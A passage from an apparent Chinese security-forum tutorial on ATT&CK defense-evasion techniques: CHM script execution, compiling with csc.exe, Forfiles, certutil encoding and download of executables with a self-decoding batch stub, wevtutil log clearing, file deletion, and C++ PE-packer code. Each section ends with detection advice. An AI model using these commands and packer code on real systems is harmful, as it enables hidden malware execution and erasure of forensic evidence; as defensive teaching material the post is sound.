        3.修改DACL时使用Windows安全日志记录事件。
参考链接16、CHM文件隐藏代码执行原理及代码介绍
                CHM文件是一种“已编译的HTML文件”,是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来打开的。CHM文件可以包含各种文件,如HTML文件,图像以及与脚本相关的编程语言。攻击者可能会滥用此技术来隐藏恶意代码,传输包含代码的自定义CHM文件。并且可以绕过一些未升级的系统上的应用程序白名单。Silence组织就曾使用恶意CHM文档攻击俄罗斯银行。
编写CHM文件需要准备一个HTML文件,如下:

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.   <title>title</title>
  6.     <script type="text/javascript">
  7.     var objShell
  8.           var objShell= new ActiveXObject("WScript.Shell")
  9.           var iReturnCode=objShell.Run("calc.exe",0,true)
  10. </script>
  11. </head>
  12. <body>
  13. </body>
  14. </html>
复制代码
了解HTML文件格式可以访问:HTML文件格式
众所周知,HTML文件不能执行cmd命令,编译成CHM文件就可以完美执行。
CHM文件的制作工具比较多,本次介绍一款工具 easy chm,可以去官网下载。
     打开easy chm后点击新建

将HTML文件单独放在一个文件夹中,浏览的路径是一个文件夹路径
确定之后,点击编译即可
运行效果图
双击运行生成的CHM文件,弹出计算器

检查及限制方案
  • 监视和分析hh.exe的执行和参数。将最近对hh.exe的调用与已知的参数的历史进行比较,以确定异常和潜在的对抗性活动。

        2. 监视CHM文件的存在和使用。
参考链接
HTML文件格式:https://baike.baidu.com/item/HTML文件/7176861?fr=aladdin
17、本机程序编译代码执行原理及代码介绍
     当进行数据的传输时,Windows可能会对可执行文件进行分析和检查。如果将文件作为未编译代码传递,这些代码的行为就会难以被发现和分析。当然这些代码需要编译后执行,通常是通过本机的实用工具(如csc.exe)进行编译。
     csc.exe是微软.NET Framework 中的C#语言编译器,在环境变量里加入csc.exe的路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319(注意,路径和版本号会因为你的安装和下载的不同而不同,自己到安装目录下看看)。
用记事本编写源代码:

  1. using System;
  2. using System.Windows.Forms;
  3. class TestApp
  4. {
  5.   public static void Main()
  6.   {
  7.   MessageBox.Show("Hello!");
  8.   }
  9. }
复制代码
保存为.cs文件,在cmd命令行中执行命令:csc /reference:System.Windows.Forms.dll TestApp.cs
     即可编译成TestApp.exe。
     关于csc.exe详细命令参数可参考:csc.exe命令
     MinGW(Minimalist GNU For Windows)是个精简的Windows平台C/C++、ADA及Fortran编译器。下载地址。
     安装完成之后,配置环境变量,可以编译.c文件。
     命令:gcc test.c -o test
     这种技术可以绕过基于签名的检测,白名单等。
运行效果图
cse.exe
编译完成并生成exe文件。
MinGW:
命令行编译完成,生成exe文件


检查及限制方案
        1. 监视常用编译器(如csc.exe)的执行文件路径和命令行参数,并与其他可疑行为相关联。
        2. 寻找非本地二进制格式和跨平台编译器和执行框架,如Mono,并确定它们在系统上是否有合法的用途。
参考链接
MinGW下载地址:http://www.mingw.org/
18、间接命令执行原理及代码介绍
        在Windows系统中可以使用各种Windows实用程序来执行命令,而不需要调用CMD。攻击者可能会滥用这些特征来绕过一些防御机制,如应用程序白名单等。
        使用 Forfiles 可以通过不直接调用CMD,来隐藏命令执行。
        Forfiles是一款windows平台的软件工具,其中选择文件并运行一个命令来操作文件。文件选择标准包括名称和上次修改日期。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。forfiles命令最初作为加载项提供在Windows NT 资源工具包中。它成为Windows Vista的标准实用程序,作为新管理功能的一部分。
具体Forfiles使用参数参考:    https://jingyan.baidu.com/article/495ba8419d37ff38b20ede48.html
运行效果图
运行Forfiles
检查及限制方案
监视和分析来自基于主机的检测机制(如Sysmon)的日志,查看包含或由调用程序,命令,文件,生成子进程,网络连接相关的参数的进程创建等事件。
参考链接19、解码文件并执行原理及代码介绍
攻击者可以混淆文件或信息,从而无法分析恶意代码的行为和信息。混淆的方法有很多,比如最简单的异或和其它的加密算法。下面介绍一种恶意软件使用过的方法。
        Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。
        攻击者可以利用certutil.exe把二进制文件(包括各种文件)经过base64编码为文本,这样可以将可执行文件隐藏在文件中,使恶意代码样本看起来像是无害的文本文件。
        先将程序编码为文本:
  1. certutil -encode hello.exe hello.txt
复制代码
下载文件到本地
  1. certutil -urlcache -split -f [URL] hello.txt
复制代码
将文本解码为程序
  1. certutil -decode hello.txt hello.exe
复制代码
也可以将程序编码为批处理文件(bat),在文件头部添加几行批处理代码
  1. @echo off`
  2. `certutil -decode "%~f0" hello.exe`
  3. `start hello.exe`
  4. `exit /b 1
复制代码
像这种编码混淆文件的方法可以绕过基于签名的检测,网络入侵检测等,较多的恶意代码样本使用了此技术。
运行效果图
执行完encode后生成的txt文件和bat文件内容

执行decode解码为exe文件,或直接执行bat脚本文件,代码顺利执行


检查及限制方案
执行进程和命令行监视,以检测与脚本和系统实用程序相关的潜在恶意行为。
参考链接20、入侵痕迹清除原理及代码介绍
        在分析恶意代码的时候,大家通常都会看到很多删除文件的操作。通过删除文件,攻击者可以清除入侵过程中的痕迹,防止留下证据被防御者找到。删除文件的方法有很多,大多数是用一些库函数,API,system命令等等。具体代码如下:
  1. int main()
  2. {
  3. string dirName = "D:\\test";  
  4. bool  flag = RemoveDirectory(dirName.c_str());`
  5. return 0;
  6. }
  7. int main()
  8. {
  9.   string path = "c:\\test.chm";
  10.   rmdir(path.c_str());
  11.   return 0;
  12. }
  13. int main()
  14. {
  15.   string command;
  16.   command = "rd /s /q c:\\test ";
  17.   system(command.c_str());
  18. }
  19. int main()
  20. {
  21.   string command;
  22.   command = "del  /F /Q C:\test.txt ";
  23.   system(command.c_str());
  24. },
复制代码
不过大家都知道,在Windows下删除文件其实不是真的删除, 只是把那个文件的某个属性从0标识成1,你看不见而已。这也是为什么被删除的数据,可以恢复的道理。所以也有很多恶意代码使用删除文件工具,进行安全删除。如SDelete,它安全地删除没有任何特殊属性的文件相对而言简单而直接:安全删除程序使用安全删除模式简单地覆盖文件。较为复杂的是安全地删除 Windows NT/2K 压缩、加密和稀疏文件,以及安全地清理磁盘可用空间。 感兴趣的可以参考:
        除了删除文件,一般还会清除日志Windows事件日志。Windows事件日志是计算机警报和通知的记录。Microsoft将事件定义为“系统或程序中需要通知用户或添加到日志中的任何重要事件”。事件有三个系统定义的来源:系统、应用程序和安全。执行与帐户管理、帐户登录和目录服务访问等相关的操作的对手可以选择清除事件以隐藏其活动。
        程序命令执行清除事件日志:
  1. wevtutil cl system
  2. wevtutil cl application
  3. wevtutil cl security
复制代码
运行效果图
运行SDelete如图所示
清除系统日志
检查及限制方案
   1.在环境中检测与命令行函数(如 DEL,第三方实用程序或工具 )相关的不常见的事件。
  • 监视执行删除功能可能会导致的恶意活动。
  • 监视已知的删除工具和安全删除工具 。
  • 使用文件系统监视文件的不当删除或修改。例如,删除Windows事件日志。

参考链接21、文件加壳原理及代码介绍
        软件打包指的是对可执行文件进行压缩或加密。打包可执行文件会更改文件签名,以避免基于签名的检测。通常我们称软件打包为加壳。
        当一个程序生成好后,很轻松的就可以利用诸如资源工具和反汇编工具对它进行修改,但如果程序员给程序加一个壳的话,那么至少这个加了壳的程序就不是那么好修改了,如果想修改就必须先脱壳。而且壳的解压缩是在内存中进行的,能检测到的杀毒软件就很少。大部分的程序是因为防止反跟踪,防止程序被人跟踪调试,防止算法程序不想被别人静态分析。加密代码和数据,保护你的程序数据的完整性。不被修改或者窥视你程序的内幕。
        现在有很多加壳器,例如MPress和UPX。也可以写一个自己的加壳器。针对PE文件写加壳器需要对PE文件的格式和各种结构有充分的了解。
下面是加壳器的主要代码

  1. //增加区段
  2. void CPackPE::AddSection1(char*& pFileBuff, int& fileSize, const char* scnName, int scnSize)
  3. {
  4.   // 1.1 增加文件头的区段个数
  5.   GetFileHeader(pFileBuff)->NumberOfSections++;
  6.   // 1.2 配置新区段的区段头
  7.   IMAGE_SECTION_HEADER* pNewScn = NULL;
  8.   pNewScn = GetLastSection(pFileBuff);
  9.   PIMAGE_SECTION_HEADER pLastSection = pNewScn - 1;
  10.   // 1.2.1 区段的名字
  11.   memcpy(pNewScn->Name, scnName, 8);
  12.   // 1.2.2 区段的大小(实际大小/对齐后大小)
  13.   pNewScn->Misc.VirtualSize = scnSize;
  14.   pNewScn->SizeOfRawData =
  15.     aligment(scnSize,
  16.     GetOptionHeader(pFileBuff)->FileAlignment);
  17.   // 新区段的内存偏移 = 上一个区段的内存偏移+上一个区段的大小(内存粒度对齐后的大小)
  18.   pNewScn->VirtualAddress =
  19.     pLastSection->VirtualAddress +
  20.     aligment(pLastSection->Misc.VirtualSize,
  21.     GetOptionHeader(pFileBuff)->SectionAlignment);
  22.   // 设置文件偏移和文件大小
  23.     while (TRUE)
  24.     {
  25.       if (pLastSection->PointerToRawData)
  26.       {
  27.         // 找到前一个非0的区段
  28.         pNewScn->PointerToRawData = pLastSection->PointerToRawData +
  29.           pLastSection->SizeOfRawData;
  30.         break;
  31.       }
  32.       pLastSection = pLastSection - 1;
  33.     }
  34.     // 1.2.4 区段的属性(0xE00000E0)
  35.     pNewScn->Characteristics = 0xE00000E0;
  36.     // 2. 修改扩展头的映像大小
  37.     GetOptionHeader(pFileBuff)->SizeOfImage = pNewScn->VirtualAddress + pNewScn->Misc.VirtualSize;

  38.     // 3. 扩充文件数据的堆空间大小
  39.     int newSize = pNewScn->PointerToRawData + pNewScn->SizeOfRawData;
  40.     char* pNewBuff = new char[newSize];
  41.     memcpy(pNewBuff, pFileBuff, fileSize);
  42.     // 释放旧的缓冲区
  43.     delete[] pFileBuff;
  44.     // 将新的缓冲区首地址和新的文件大小赋值给形参(修改实参)
  45.     fileSize = newSize;
  46.     pFileBuff = pNewBuff;
  47. }
复制代码
这里是部分壳代码

  1. //修复IAT
  2. void DealwithIAT()
  3. {
  4.   // 1.获取第一项iat项
  5.   // 1.获取加载基址
  6.   // 2.获取导入表的信息
  7.   g_dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
  8.   PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(g_dwImageBase + g_conf.ImportTableRva);
  9.   // 3.解析导入表信息
  10.   HMODULE hMoudle;
  11.   PDWORD TableIAT = NULL;
  12.   DWORD ThunkRVA;
  13.   while (pImport->Name)
  14.   {
  15.     //获取dll基址
  16.     hMoudle = MyLoadLibraryA((char*)(pImport->Name + g_dwImageBase));
  17.   
  18.     // 是否是有效的IAT
  19.     if (pImport->FirstThunk == 0)
  20.     {
  21.       ++pImport;
  22.       continue;
  23.     }
  24.     TableIAT = (PDWORD)(pImport->FirstThunk + g_dwImageBase);
  25.     if (pImport->OriginalFirstThunk == 0)
  26.     {
  27.       ThunkRVA = pImport->FirstThunk;
  28.     }
  29.     else
  30.     {
  31.       ThunkRVA = pImport->OriginalFirstThunk;
  32.     }
  33.     PIMAGE_THUNK_DATA lpThunkData = (PIMAGE_THUNK_DATA)(g_dwImageBase + ThunkRVA);
  34.     DWORD dwFunName;
  35.     while (lpThunkData->u1.Ordinal != 0)
  36.     {
  37.       // 名称导出
  38.       if ((lpThunkData->u1.Ordinal & 0x80000000) == 0)
  39.       {
  40.         PIMAGE_IMPORT_BY_NAME lpImportByName = (PIMAGE_IMPORT_BY_NAME)(g_dwImageBase + lpThunkData->u1.Ordinal);
  41.         dwFunName = (DWORD)&lpImportByName->Name;
  42.       }
  43.       else
  44.       {
  45.         dwFunName = lpThunkData->u1.Ordinal & 0xFFFF;
  46.       }
  47.       DWORD dwFunAddr = (DWORD)MyGetProcAddress(hMoudle, (char*)dwFunName);
  48.       DWORD dwOldProtect = 0;
  49.       MyVirtualProtect(TableIAT, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  50.       dwFunAddr = EncryptFun(dwFunAddr);
  51.       *(TableIAT) = dwFunAddr;
  52.       MyVirtualProtect(TableIAT, 4, dwOldProtect, &dwOldProtect);
  53.       ++TableIAT;
  54.       ++lpThunkData;
  55.     }
  56.     ++pImport;
  57.   }
  58. }
  59. //修复目标PE的重定位表
  60. void FixPEReloc()
  61. {
  62.   // 获取当前进程的加载基址
  63.   DWORD dwImageBase = (DWORD)MyGetModuleHandleW(NULL);
  64.   // 1. 修复目标PEg_dwImageBase
  65.   PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(g_conf.stcReloc.VirtualAddress + dwImageBase);//g_dwImageBase
  66.   while (pReloc->SizeOfBlock)
  67.   {
  68.     PWORD pOffsetType = (PWORD)((DWORD)pReloc + sizeof(IMAGE_BASE_RELOCATION));
  69.     DWORD dwCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  70.     // 修改内存属性
  71.     DWORD dwOldProtect = 0;
  72.     MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, PAGE_EXECUTE_READWRITE, &dwOldProtect);
  73.     // 循环检查重定位项
  74.     for (DWORD i = 0; i < dwCount; ++i)
  75.     {
  76.       WORD dwOffset = *pOffsetType & 0xFFF;
  77.       WORD dwType = *pOffsetType >> 12;
  78.       // 去除无效的重定位项
  79.       if (!*pOffsetType) continue;
  80.       if (dwType == 3)
  81.       {
  82.         // 获取此重定位项指向的指针
  83.         DWORD dwPointToRVA = dwOffset + pReloc->VirtualAddress;
  84.         PDWORD pdwPtr = (PDWORD)(dwPointToRVA + dwImageBase);

  85.         // 计算增量值
  86.         DWORD dwIncrement = dwImageBase - g_conf.dwDefaultImageBase;

  87.         DWORD OldProtect = 0;
  88.         MyVirtualProtect((PBYTE)(pdwPtr), 0x4, PAGE_EXECUTE_READWRITE, &OldProtect);
  89.         // 修改重定位项
  90.         *((PDWORD)pdwPtr) += dwIncrement;
  91.         MyVirtualProtect((PBYTE)(pdwPtr), 0x4, OldProtect, &OldProtect);
  92.       }
  93.       // 下一轮循环
  94.       ++pOffsetType;
  95.     }
  96.     // 恢复内存访问属性
  97.     MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, dwOldProtect, &dwOldProtect);
  98.     // 下一个重定位块
  99.     pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock);
  100.   }
  101. }
复制代码
通过加壳,修改了文件的大小,签名等信息,可以绕过基于特征的检测,防止被静态分析,是恶意代码常用的伎俩。
运行效果图
目标程序被加壳后,发现PE文件多了一个区段,这里面就是壳程序
检查及限制方案
使用文件扫描来查找已知的软件包装器或包装技术的工件。
参考链接三、结语
        防御逃逸所拥有的技术是MITRE ATT&CK框架所述战术中最多的,详细介绍了防御逃逸技术的不同方向以及相同方向上的不同手段。通过上文的介绍,大家可以看到达到相同的目的可以用到不同的技术手段。当然随着防御者根据这些策略更新,攻击者也在寻找更隐蔽的方法来绕过安全工具的检测防御。这就要求防御者能够与时俱进,紧跟技术发展的脚步。本文到此就结束了,希望大家都能有所收获!






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 12:43 , Processed in 0.016753 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表